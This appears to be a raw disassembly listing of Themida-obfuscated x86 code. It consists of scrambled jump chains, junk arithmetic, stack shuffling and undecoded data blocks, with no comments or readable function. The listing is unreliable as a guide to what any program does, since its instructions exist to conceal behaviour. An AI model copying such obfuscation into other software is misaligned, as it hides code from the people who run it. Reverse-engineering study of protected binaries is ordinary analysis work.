0C781D701h, 2B711A74h, 79C7815Ah dd 526C7F47h, 0FF17E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E04D: ; CODE XREF: Themida_:00560D5Ej mov ecx, 1D126A5Dh inc ecx shl ecx, 8 jmp loc_559BE3 ; --------------------------------------------------------------------------- db 58h dd 6AE98149h, 817A7861h, 4ECh, 243C8900h, 0EA7236BFh, 5FF9290Ch dd 5752D1F7h, 8B0641BFh, 0F74F4F72h, 2EFC1D7h, 0C781DFF7h dd 0C875F0D4h, 0E95FFA89h, 26FDh ; --------------------------------------------------------------------------- loc_55E094: ; CODE XREF: Themida_:005619DBj push ecx sub esp, 4 mov [esp], edi push esi mov esi, 3F375ACDh not esi not esi jmp loc_555A65 ; --------------------------------------------------------------------------- aLHl db '$$h$',0 align 2 dw 0A1E9h dd 59FFFFEEh, 27F3EB81h, 0EB01329Fh, 27F3C381h, 0E952329Fh dd 0FFFFBD9Dh, 53243C89h, 0C381E389h, 4, 8704EB83h, 6AE9241Ch dd 0ADFFFFB1h, 0E468D831h, 89000017h, 15E9242Ch, 28FFFFCBh dd 0B3C380C3h, 5208EB80h, 0FF899DE9h, 5C9DBAFFh, 2CBF660Dh dd 0E994757Ch, 0FFFFF5F5h, 5C243487h, 0FF16FDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E119: ; CODE XREF: Themida_:005610B3j push 6A3D1B9Ch pop ecx push edi jmp loc_554AD3 ; --------------------------------------------------------------------------- db 0B0h, 51h, 53h dd 0DE88C388h, 0FF9659E9h, 7EEFBFFFh, 0F78176DEh, 17184B65h dd 5006E947h, 0D0010000h, 675BBE05h, 6DE90557h, 148B195Dh dd 4C48124h, 52000000h, 0DEEC37BAh, 0E9D00191h, 0FFFFF709h dd 2882F680h, 2C5A5AF0h, 241C8BABh, 8304C483h, 896602ECh dd 0C6E92404h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E17F: ; CODE XREF: Themida_:0055D3F3j push dword ptr [esp] jmp loc_55AE78 ; --------------------------------------------------------------------------- loc_55E187: ; CODE XREF: Themida_:0055F6ABj sub ecx, 31C82BC5h pop edi push ebx sub esp, 4 mov [esp], ebp mov ebp, 390B4252h mov ebx, 390B4252h xor ebx, ebp pop ebp add ebx, ecx push ecx jmp loc_564761 ; --------------------------------------------------------------------------- dw 77FFh dd 1664E940h, 0C381FFFFh, 4, 0FF8C76E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E1BD: ; CODE XREF: Themida_:005508EBj push edx mov edx, 156A258Eh add [esp+4], edx push dword ptr [esp] push dword ptr [esp] pop edx push edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] jmp loc_55AFF8 ; --------------------------------------------------------------------------- loc_55E1E7: ; CODE XREF: Themida_:005565C3j push edx mov edx, 6F263239h add edx, 4D42B61h add esi, edx pop edx push 7CEh jmp loc_553F03 ; --------------------------------------------------------------------------- aWsla db 'Wla',0 align 2 dw 0CE80h dd 80D6F64Dh, 0E6C001EEh, 33B45005h, 0F606ECC0h, 3ECC0DCh dd 0A3C480h, 0F00058E6h, 0E924148Bh, 0FFFFCA0Ch, 53B36850h dd 14890000h, 0F3F5E924h, 0ABFFFFFh, 0E91F643Ah, 0FFFF6E45h dd 0EA81CA29h, 7E5D1310h, 83240C8Bh, 0F4E904C4h, 68FFFF35h dd 5063h, 83242489h, 59042404h, 4C181h, 0E9810000h, 4 dd 0FF6001E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E275: ; CODE XREF: Themida_:0055EBEFj mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_564774 ; --------------------------------------------------------------------------- loc_55E28D: ; CODE XREF: Themida_:0055E673j sub ebp, edx sub ebp, 18A715A8h jmp loc_55940E ; --------------------------------------------------------------------------- dw 81BDh dd 29EDBD28h, 242C8BEFh, 4C481h, 0FE010000h, 83243C8Bh dd 0DE0104C4h, 0FF460CE9h, 3E1C1FFh, 0FF4E2BE9h, 4C481FFh dd 83000000h, 313504C4h, 0F7475936h, 0B3BF57D0h, 1475136h dd 2434FFF8h, 28E9505Fh, 51FFFFB0h, 0DBB0A0B9h, 59CF29CBh dd 495FF989h, 2EAAE981h, 0EA8164A3h, 51F45B45h, 4E76E9h dd 4C18100h, 83000000h, 0C8702C1h, 8B665C24h, 0AEE9240Ch db 2Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E317: ; CODE XREF: Themida_:005618ADj add ebp, 517B31B6h add ebp, edx jmp loc_553AC2 ; --------------------------------------------------------------------------- dd 5E8768h, 240C8900h, 0A42F7FB9h, 0EC81492Eh, 4, 0E9241C89h dd 6C28h, 2C681h, 34870000h, 1BE95C24h, 5900000Ch, 0C06EE955h dd 0C681FFFFh, 2C634CC0h, 37E9F001h db 44h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E363: ; CODE XREF: Themida_:00560FA9j push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx add edx, 4 push esi mov esi, 49CB5229h neg esi dec esi push ecx jmp loc_55CC78 ; --------------------------------------------------------------------------- aMvicsml db 'VmL',0 dd 0C8B5A00h, 7E5E924h, 34870000h, 30FF5C24h, 0FF1475E9h dd 5DE950FFh db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E3A7: ; CODE XREF: Themida_:00552F12j push dword ptr [esp] pop ebp push ebp push esp jmp loc_55B9DC ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 8B241C33h, 0A4E92424h, 30000052h, 885266EAh dd 88D2F6EAh, 865A66D5h, 76C3E9EAh, 2489FFFFh, 7818E924h dd 0E901FFFFh, 0FFC318E9h, 0E38953FFh, 4C381h, 0EB810000h dd 4, 5C241C87h, 89240489h, 0A53DE9E0h, 0FE9FFFFh db 14h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E407: ; CODE XREF: Themida_:0054FF22j sub esp, 4 mov [esp], ebp jmp loc_555D97 ; --------------------------------------------------------------------------- dw 0F389h dd 5E2434FFh, 0C104C483h, 7EE907EBh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E423: ; CODE XREF: Themida_:00555E2Fj add eax, 60DF79D7h jmp loc_5601A9 ; --------------------------------------------------------------------------- loc_55E42D: ; CODE XREF: Themida_:00550C7Ej push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 jmp loc_55A2C4 ; --------------------------------------------------------------------------- loc_55E446: ; CODE XREF: Themida_:00562F08j xor ecx, ebx pop ebx sub ecx, 7BD242B2h add ecx, edi jmp loc_5538F0 ; --------------------------------------------------------------------------- dw 4040h dd 73E8E955h, 0FF5CFFFFh, 148B2434h, 63EE924h, 0C2810000h dd 0AB2BB729h, 77E9D621h, 81FFFFB8h, 4C4h, 4EB8100h, 33000000h dd 1C31241Ch, 0D024E924h, 0EB81FFFFh, 187761A2h, 0E930FF66h dd 4F84h, 2EFC15Ch, 10D8EF81h, 0C7811053h, 1, 4BF9C781h dd 0FA0164ACh, 5F2434FFh, 81E38953h, 4C3h, 0A83BE900h dd 0E230FFFFh, 0FF9F96E9h, 89F581FFh, 0C14CB61Bh, 6E906E5h dd 0B2FFFF40h, 80DAF63Eh, 8AE994EAh db 18h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E4E7: ; CODE XREF: Themida_:00560BCAj push 1697h mov [esp], ebp push 77897227h pop ebp push eax jmp loc_54FF0B ; --------------------------------------------------------------------------- db 5Dh dd 8DE9F901h, 6800005Ah, 799Fh, 56240489h, 360C6850h, 0C3E913FBh db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E517: ; CODE XREF: Themida_:00550560j pop dword ptr [esp] push eax mov eax, 79D80BF5h jmp loc_555E25 ; --------------------------------------------------------------------------- db 0B5h, 55h, 80h dd 1E942C3h, 8BFFFF78h, 0C4812414h, 4, 0FFA619E9h, 0FFCD01FFh dd 0ECE92434h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E547: ; CODE XREF: Themida_:0055FE07j push esi mov esi, 168D18BDh shl esi, 1 shr esi, 7 jmp loc_54FF3F ; --------------------------------------------------------------------------- loc_55E557: ; CODE XREF: Themida_:00559E64j dec eax and eax, 0F0A0D3Fh add eax, 5A9E6128h dec eax add eax, 0BDE6015Ch xor edi, eax pop eax push dword ptr [esp] jmp loc_553FC0 ; --------------------------------------------------------------------------- db 35h dd 50283307h, 8958C789h, 0F9315FF9h, 0FF194AE9h, 55BD55FFh dd 523DAA39h, 2178F168h, 0E2815A42h, 26657C7Ah, 0D7F7FA87h dd 0E95A5752h, 0FFFF85C3h ; --------------------------------------------------------------------------- loc_55E5A4: ; CODE XREF: Themida_:00558A8Cj mov [esp], ecx push ebx mov bl, 34h mov ch, bl jmp loc_550F09 ; --------------------------------------------------------------------------- loc_55E5B1: ; CODE XREF: Themida_:0055BD0Ej pop esp mov [esp], edi mov edi, 10633D67h jmp loc_55BF80 ; --------------------------------------------------------------------------- db 81h dd 102189C5h, 6658E937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E5CA: ; CODE XREF: Themida_:0055C082j mov [esp], cx mov ch, 64h sub al, ch jmp loc_55C5BF ; --------------------------------------------------------------------------- db 81h dd 1E9h, 6E1C100h, 0F7FFE983h, 555E68D9h, 2C890000h, 9685BD24h dd 0C18160CCh, 8213FF7h, 40CE981h, 0E9011D87h, 40CC181h dd 0E9811D87h, 8213FF7h, 244C015Dh, 7464E904h, 8B66FFFFh dd 8957240Ch, 4B29E9E7h, 0FF55FFFFh, 8B042474h, 0C483242Ch dd 24048F04h, 5724248Bh, 5755E789h, 5A42B850h, 3EE91B3Ch db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E643: ; CODE XREF: Themida_:005501D1j sub ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5627F0 ; --------------------------------------------------------------------------- dd 0FF17C680h, 0E9592434h, 0FFFF7BEFh ; --------------------------------------------------------------------------- loc_55E668: ; CODE XREF: Themida_:005500C3j mov edx, 0FFFFFFFFh add ebp, 18A715A8h jmp loc_55E28D ; --------------------------------------------------------------------------- dd 4246C01h, 4246C81h, 79FB2EE4h, 5D2434FFh, 7395E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E68E: ; CODE XREF: Themida_:00555874j push 161Ah jmp loc_5549AE ; --------------------------------------------------------------------------- loc_55E698: ; CODE XREF: Themida_:0055AA31j pop eax mov esi, [esp] add esp, 4 add edx, ebx pop ebx jmp loc_5512D7 ; --------------------------------------------------------------------------- dw 4BDh dd 81000000h, 4ECh, 77A3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E6BA: ; CODE XREF: Themida_:00553082j mov edx, 78917782h shl edx, 7 jmp loc_55208B ; --------------------------------------------------------------------------- db 5Eh dd 48BC201h, 4C48124h, 0E9000000h, 0FFFF1803h, 0AC00C268h dd 11E95B52h, 5500005Bh, 5B67C9BDh, 0AC84E922h, 0EF81FFFFh dd 79A979AEh, 29AFC781h, 0CF012997h, 29AFEF81h, 93E92997h dd 1FFFFB4h, 0FF5D5FFBh, 0EBE92434h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E713: ; CODE XREF: Themida_:0055A7C7j pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_5528D3 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4ED8100h, 0E9000000h, 0FFFF51E7h, 3177E681h, 0EE8112E8h dd 6FE33EABh, 4DA1E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E74A: ; CODE XREF: Themida_:00555BF1j pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx jmp loc_558705 ; --------------------------------------------------------------------------- db 66h dd 8124148Bh, 2C4h, 0BCBAE900h, 34FFFFFFh, 243C8B24h, 4C481h dd 0C4810000h, 4, 716DB951h, 0BF5767A0h, 1E5A73CEh, 815FF931h dd 5FD61C1h, 8BCF0186h, 0C483240Ch, 2A236804h, 1C890000h dd 4BB24h, 0DF290000h, 0E9241C8Bh, 0FFFF9919h, 4C58159h dd 33000000h, 2C31242Ch, 242C3324h, 5D0F75Ch, 941DB7FEh dd 58E0EF81h, 0C7017329h, 58E0C781h, 5A587329h, 31243C33h dd 3C33243Ch, 0F42BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E7EE: ; CODE XREF: Themida_:00559FEDj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_557F67 ; --------------------------------------------------------------------------- loc_55E804: ; CODE XREF: Themida_:00553D3Ej mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_563E1A ; --------------------------------------------------------------------------- loc_55E818: ; CODE XREF: Themida_:00564056j mov edi, 4 add ebp, edi pop edi add ebp, 4 xchg ebp, [esp] jmp loc_5571DD ; --------------------------------------------------------------------------- loc_55E82E: ; CODE XREF: Themida_:00551306j mov ebp, [esp] jmp loc_55105C ; --------------------------------------------------------------------------- dw 0F281h aQ@HD db 'q@ )h#D',0 dd 241C8900h, 521682BBh, 98EA8169h, 293A0252h, 98C281DAh dd 5B3A0252h, 0F4B2EA81h, 7E9033Ch, 8BFFFFEDh, 1AE9242Ch dd 66FFFFB9h, 68240C8Bh, 6958h, 68241C89h, 4356h, 55242489h dd 4BDh, 78F06800h, 14890000h, 9AE95724h db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E893: ; CODE XREF: Themida_:00552D87j sub esp, 4 mov [esp], edi mov edi, 6E4D25F8h sub eax, edi pop edi sub eax, 263B1381h mov ecx, [esp] push esi mov esi, esp add esi, 4 jmp loc_5599C2 ; --------------------------------------------------------------------------- dw 840Fh dd 0AF1h, 3FFE68h, 28636800h, 1EE90000h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E8CF: ; CODE XREF: Themida_:00553F4Cj mov [esp], ecx mov ecx, esp push ebx jmp loc_562301 ; --------------------------------------------------------------------------- dw 0F381h dd 182750D5h, 1C2F381h, 0DE89E772h, 83241C8Bh, 46E904C4h dd 8100004Eh, 1B32E6F1h, 8E9C120h, 2369C181h, 0CB294BF5h dd 60F26859h, 3C890000h, 6FF3BF24h, 0E7C101D8h, 2EFC107h dd 25DAF781h, 0EF8107BAh, 0C456BC76h, 295FFB01h, 2434FFD8h dd 4116E9h, 0DC885000h, 4245C8Ah, 0FFF15EE9h, 4C181FFh dd 68000000h, 1CCCh, 0E9241489h, 172Fh, 0BE2AD3B9h, 53D1F731h dd 634B5FBBh, 0F6EB8138h, 8130570Eh, 0B50C71E3h, 0EB814379h dd 0B81602E4h, 0FFC930E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E975: ; CODE XREF: Themida_:0055DBE6j add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_559E59 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 6E4068h, 24148900h, 0C281E289h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ebp push 471C7BE5h pop ebp jmp loc_553ED7 ; --------------------------------------------------------------------------- dd 4C481h, 48F0000h, 24248B24h, 3FBA68h, 242C8900h, 73F10BDh dd 58685568h, 5D435613h, 493DC581h, 0ED81022Dh, 0F4F3AB4h dd 0FFAB0AE9h, 0EC8157FFh, 4, 24048F54h, 4240481h, 5F000000h dd 6D2F68h, 241C8900h, 4BBh, 8BDF0100h, 0CFE9241Ch, 8B000021h dd 0C4812404h, 4, 8E7FB951h, 0C831950Eh, 0FFC1BBE9h, 2434FFFFh dd 8324148Bh, 0C48104C4h, 4, 35D4E952h, 0BD55FFFFh, 6B06158Ch dd 0FF33E3E9h, 6093BFFFh, 0C78171B9h, 0B100B8Fh, 5741F781h dd 0D8E91C7Eh, 81FFFF88h, 4C4h, 28B90400h, 0E9B92CD8h dd 11Bh, 3F303835h, 58C129E0h, 4896E9h, 244C0100h, 48B5904h dd 4C48124h, 0E9000000h, 271Eh, 0E9028F64h, 0FFFF0D86h ; --------------------------------------------------------------------------- loc_55EA90: ; CODE XREF: Themida_:00559DB6j pop dword ptr [esp] add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], edx mov edx, 37164EE0h jmp loc_5508F0 ; --------------------------------------------------------------------------- dd 4C481h, 0EC810000h, 4, 68242C89h, 1430h, 24048F54h dd 8904EC83h, 6856241Ch, 39253A43h, 15C8E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EAD2: ; CODE XREF: Themida_:0056159Dj mov ebx, 1Ch push edi jmp loc_552646 ; --------------------------------------------------------------------------- db 89h, 0CDh, 8Bh dd 0C481240Ch, 4, 34FFEB89h, 2434FF24h, 0E189515Dh, 4C181h dd 0C1830000h, 240C8704h, 0E789575Ch, 0FFC638E9h, 3BE368FFh dd 4890000h, 4EC8124h, 89000000h, 0EC83243Ch, 24048904h dd 576B9D68h, 24048B26h, 4C481h, 0EC830000h, 24148904h dd 565DE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EB3A: ; CODE XREF: Themida_:0055568Ej xchg eax, [esp] pop esp jmp loc_550341 ; --------------------------------------------------------------------------- db 0F7h dd 16F181D9h, 29CD7913h, 0A575E9CDh, 0CB87FFFFh, 0A6BBB951h dd 0CB29F3B9h, 5BDE0159h, 4EC81h, 0C890000h, 2DAFB924h dd 0C9810D8Bh, 2400074Ah, 0AFE9D1F7h, 83FFFF6Ch, 0ECE904C4h dd 51000004h, 0CD80DEB5h, 0F651660Fh, 6601245Ch, 0E9CDFE59h dd 0FFFF3A22h, 8B243487h, 8B662424h, 12E9240Ch, 8B000001h dd 89572414h, 296EE9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EBB2: ; CODE XREF: Themida_:005511F6j push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 jmp loc_5603D9 ; --------------------------------------------------------------------------- loc_55EBC2: ; CODE XREF: Themida_:005540D0j push ebp jmp loc_5619BC ; --------------------------------------------------------------------------- dd 815AD131h, 0CA4C8FEFh, 81CF0110h, 0CA4C8FC7h, 2434FF10h dd 0FFA0A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EBE1: ; CODE XREF: Themida_:00561372j add edx, 4 add edx, 4 push 1926h jmp loc_55E275 ; --------------------------------------------------------------------------- loc_55EBF4: ; CODE XREF: Themida_:0055D5A5j pop eax add edx, ebx jmp loc_561ADC ; --------------------------------------------------------------------------- dd 54242C89h, 4C5815Dh, 52000000h, 3F7FB850h, 21E956A3h dd 89FFFFBFh, 0F18158C1h, 1D232822h, 2E18E181h, 0E18128C1h dd 66482BEEh, 0FF6178E9h, 0BF5751FFh, 4, 295FF989h, 240C8BC8h dd 4C481h, 4870000h, 24248B24h, 83242C89h, 348904ECh, 2F685324h dd 5B22997Fh, 6FE2F381h, 0EB810C4Dh, 13B07B6Dh, 4EC81h dd 1EE90000h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EC6F: ; CODE XREF: Themida_:0055DA6Cj sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], ecx push 41E4h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 4 add ecx, ebp jmp loc_55C01C ; --------------------------------------------------------------------------- dw 0EA81h dd 3033316Fh, 0E95AD731h, 0FFFF4D5Ch ; --------------------------------------------------------------------------- loc_55ECB0: ; CODE XREF: Themida_:005543AAj push dword ptr [esp] pop ecx jmp loc_5539E7 ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 5813BF57h, 0CF813988h, 404739BAh, 8649B850h, 0C7018630h dd 0FFC387E9h, 24048BFFh, 4C481h, 27BF0000h, 0E9E942D8h dd 0FFFFA34Eh, 4EC81h, 0C890000h, 72626824h, 4890000h dd 4EC8324h, 88240C89h, 0EE8852DDh, 82E9F088h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED0B: ; CODE XREF: Themida_:0055AA88j xor dword ptr [esp], 1E7449D0h pop edi xor edi, 1E7449D0h jmp loc_551D8D ; --------------------------------------------------------------------------- dw 0C581h dd 4, 4BA52h, 0D5010000h, 242C875Ah, 0FF4D5BE9h, 8048B2FFh dd 0EAC0F4C2h, 1DEA8008h, 0E95AD300h, 0FFFFA42Eh ; --------------------------------------------------------------------------- loc_55ED48: ; CODE XREF: Themida_:00562306j pop ebx and ebx, 0E316970h shl ebx, 3 xor ebx, 30890904h add ecx, ebx mov ebx, [esp] jmp loc_560BEA ; --------------------------------------------------------------------------- dw 1C89h aA7 db '$7',0 db 4Ah, 51h, 0E9h dd 0FFFF5440h, 5CD6E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED76: ; CODE XREF: Themida_:00557114j mov ebx, 27FA3F4Eh jmp loc_553DC2 ; --------------------------------------------------------------------------- loc_55ED80: ; CODE XREF: Themida_:00560CACj add ebx, edi mov edi, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] pop esi jmp loc_556534 ; --------------------------------------------------------------------------- db 86h dd 0FD30242Ch, 0FD30EF30h, 20A2E9h db 0 ; --------------------------------------------------------------------------- loc_55EDA5: ; CODE XREF: Themida_:00550C30j sub eax, ecx jmp loc_5574FF ; --------------------------------------------------------------------------- dd 5EF7815Fh, 8125091Dh, 0A936E4F7h, 0C147471Bh, 0F78103EFh dd 0E9B8C0Ch, 8B5FF801h, 0E957242Ch, 0FFFF38C0h ; --------------------------------------------------------------------------- loc_55EDD0: ; CODE XREF: Themida_:0055BBCDj push ebp jmp loc_5540D5 ; --------------------------------------------------------------------------- dw 0D7F7h dd 10E0E9h, 4BE00h, 0F5290000h, 0CE61E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EDEA: ; CODE XREF: Themida_:0055C9BEj pop esi not esi push ebx mov ebx, 0A6C6766h sub ebx, 0A9170D64h sub esi, ebx mov ebx, [esp] jmp loc_5644CA ; --------------------------------------------------------------------------- db 81h dd 0D14558EAh, 2EC78161h, 112D849h, 5107E9D7h, 18BE0000h dd 0BA75E076h, 0A3A0E8Fh, 0E95EF201h, 0FFFFBC72h, 0F704EFC1h dd 9CEF81D7h, 81588417h, 4558E0C7h, 0E9F9015Ah, 1EC3h dd 24048B66h, 5FD76855h, 8F540000h, 0C8E92404h, 66000005h dd 68240C8Bh, 792Fh, 0FF5AA1E9h, 2EC83FFh, 0FFCADBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EE69: ; CODE XREF: Themida_:00562090j not edx push ecx mov ecx, 32F86C32h and edx, ecx jmp loc_55C1C7 ; --------------------------------------------------------------------------- dd 4C581h, 0EC830000h, 242C8904h, 42474FFh, 83242C8Bh dd 48F04C4h, 0BB535C24h, 0C41569Ch, 8102E3C1h, 808842C3h dd 5BDA31C7h, 525AD309h, 0FFCEBDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55EEAD: ; CODE XREF: Themida_:005517D5j pop dword ptr [esp] jmp loc_56484B ; --------------------------------------------------------------------------- loc_55EEB5: ; CODE XREF: Themida_:00550406j sub ebx, edi jmp loc_556EF2 ; --------------------------------------------------------------------------- loc_55EEBC: ; CODE XREF: Themida_:005548CBj mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] jmp loc_5615DE ; --------------------------------------------------------------------------- loc_55EED7: ; CODE XREF: Themida_:005579B0j push dword ptr [esp] pop eax add esp, 4 push 77F4h mov [esp], ebx mov ebx, esp jmp loc_554F4D ; --------------------------------------------------------------------------- loc_55EEF0: ; CODE XREF: Themida_:00550A55j add edx, 102B061Eh add edx, ecx sub edx, 102B061Eh jmp loc_55CD7B ; --------------------------------------------------------------------------- db 0D1h dd 669CE9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EF0A: ; CODE XREF: Themida_:0055FC24j pop edx pop ebp add ebp, 4 push ebx mov ebx, 4 add ebp, 7C6F7133h sub ebp, 6341752Ch add ebp, ebx push ebx mov ebx, 46A928E8h xor ebx, 25E85DC4h jmp loc_553DE7 ; --------------------------------------------------------------------------- db 5Dh dd 4244481h, 3D47C3Dh, 4245C01h, 89AE9h db 0 ; --------------------------------------------------------------------------- loc_55EF49: ; CODE XREF: Themida_:0055623Ej pop ebx add ecx, 4 xchg ecx, [esp] pop esp push ebp jmp loc_55BAA9 ; --------------------------------------------------------------------------- db 35h dd 33DD5E37h, 640DBD55h, 0E831480Dh, 614EE95Dh, 8B66FFFFh dd 0C3E92404h, 89FFFFBAh, 0E189240Ch, 71346856h, 815E464Dh dd 645095E6h, 0DF68160h, 5670944Fh, 5E2414F7h, 8103EEC1h dd 0E5FC18F6h, 5EF10119h, 5104C183h, 42474FFh, 24048F59h dd 6824248Bh, 666Ch, 81243C89h, 4ECh, 241C8900h, 4EC81h dd 14890000h, 277CBA24h, 0E2C134C8h, 6C2AE904h, 421FFFFh dd 3BE99C24h, 8BFFFF08h, 0C4812404h, 4, 4685159h, 59000000h dd 0B7FEE81h, 0CE0141D6h, 0B7FC681h, 1E941D6h, 8B00001Bh dd 0C4812414h, 4, 0FFCF68E9h, 4C381FFh, 52000000h, 0FF0E68E9h dd 243C87FFh, 2414895Ch, 0C281E289h, 4, 4BB53h, 0C2810000h dd 7B652104h, 0FFDFEAE9h, 0F6815EFFh, 24645A64h, 4CA2E957h dd 0C581FFFFh, 0E2837C5Bh, 0FFC9D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F051: ; CODE XREF: Themida_:005523ACj pop ebp jmp loc_555D5E ; --------------------------------------------------------------------------- db 5Ah dd 4E981h, 0C870000h, 62E95C24h, 5B000056h, 0E1E9515Eh dd 88FFFFF8h, 24048BC5h, 4C481h, 52500000h, 314E9h, 0FBE95900h dd 8BFFFF28h, 8952242Ch, 56A3E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55F092: ; CODE XREF: Themida_:00557367j add ebp, 4 jmp loc_55C714 ; --------------------------------------------------------------------------- loc_55F09D: ; CODE XREF: Themida_:00558429j add esi, 4 sub esi, 4 jmp loc_55BFBB ; --------------------------------------------------------------------------- loc_55F0AE: ; CODE XREF: Themida_:0055BA22j mov eax, ebx jmp loc_5579F8 ; --------------------------------------------------------------------------- loc_55F0B5: ; CODE XREF: Themida_:005601CCj mov [esp], ebp jmp loc_55193B ; --------------------------------------------------------------------------- db 50h, 0E9h, 23h dd 80FFFF71h, 0EE80CFE6h, 0FAE68001h, 0E903EEC0h, 0FFFF1CCAh dd 0E9243C89h, 0FFFF4F47h, 240C8966h, 536659B1h, 0D8283EB3h dd 0C8005B66h, 0FF3229E9h, 0E9E588FFh, 0FFFFDBF8h, 3F33BE66h dd 90C68166h, 2EC83A5h, 241C8966h, 78CE6866h, 241C8B66h dd 2C481h, 0EC830000h, 24348904h, 0C681E689h, 4, 0E902EE83h dd 2D20h, 237768h, 24148900h, 0FF241CF7h, 34FF2434h, 6406E924h dd 8F68FFFFh, 8900002Dh, 0E0892404h, 106368h, 24148900h dd 4BAh, 3BFEE900h, 33BB0000h, 292C6721h, 0DEADE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F16A: ; CODE XREF: Themida_:0055556Cj add eax, 0E5F4E038h mov esi, eax jmp loc_558816 ; --------------------------------------------------------------------------- loc_55F176: ; CODE XREF: Themida_:0055955Dj pop esi inc ecx jmp loc_553894 ; --------------------------------------------------------------------------- loc_55F17D: ; CODE XREF: Themida_:005536DCj pop ebx add esp, 4 sub al, 0B5h add al, 3Ah sub al, cl sub esp, 4 jmp loc_560BBE ; --------------------------------------------------------------------------- db 56h dd 59194E68h, 16ACE97Ah, 1C310000h, 241C3324h, 8924248Bh dd 8B54240Ch, 8956240Ch, 4C681E6h, 83000000h, 348704C6h dd 35A3E924h, 2C89FFFFh, 735BBD24h, 0CD815584h, 1CA72B52h dd 8105EDC1h, 86E42C5h, 7F55E95Fh, 5350FFFFh, 507AE9h dd 2AC28100h, 31A68AC5h, 24148BD1h, 0E904C483h, 0FFFF3161h dd 51242C89h, 0FFEC31E9h, 5F26BFFFh, 0FA016300h, 2434FF5Fh dd 0E7DE9h, 4C48300h, 2C281h, 14870000h, 24248B24h, 0FFE03EE9h dd 56B850FFh, 0F7653376h, 422335D8h, 71E96F70h, 0C1FFFF81h dd 64E904E6h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F23B: ; CODE XREF: Themida_:00555F1Cj mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_55272B ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4BB53h, 0DA010000h, 0FFB717E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F25D: ; CODE XREF: Themida_:0055674Ej add esp, 4 jmp loc_5509D1 ; --------------------------------------------------------------------------- loc_55F268: ; CODE XREF: Themida_:0055AE9Ej pop esi mov edx, edi push dword ptr [esp] jmp loc_55FC1C ; --------------------------------------------------------------------------- loc_55F273: ; CODE XREF: Themida_:005577E7j push 686F1C9Dh jmp loc_5500E2 ; --------------------------------------------------------------------------- db 0BEh, 1Bh, 62h dd 51E97819h, 81000017h, 3B4E51F3h, 2BD5533h, 2113343Bh dd 0BDFEE9EBh, 8758FFFFh, 685C2434h, 2E03h, 0FF6851E9h dd 47C781FFh, 89347423h, 243C8BF9h, 4C481h, 5B510000h dd 0FF2434FFh, 68592434h, 6FE4h, 89241489h, 4C281E2h, 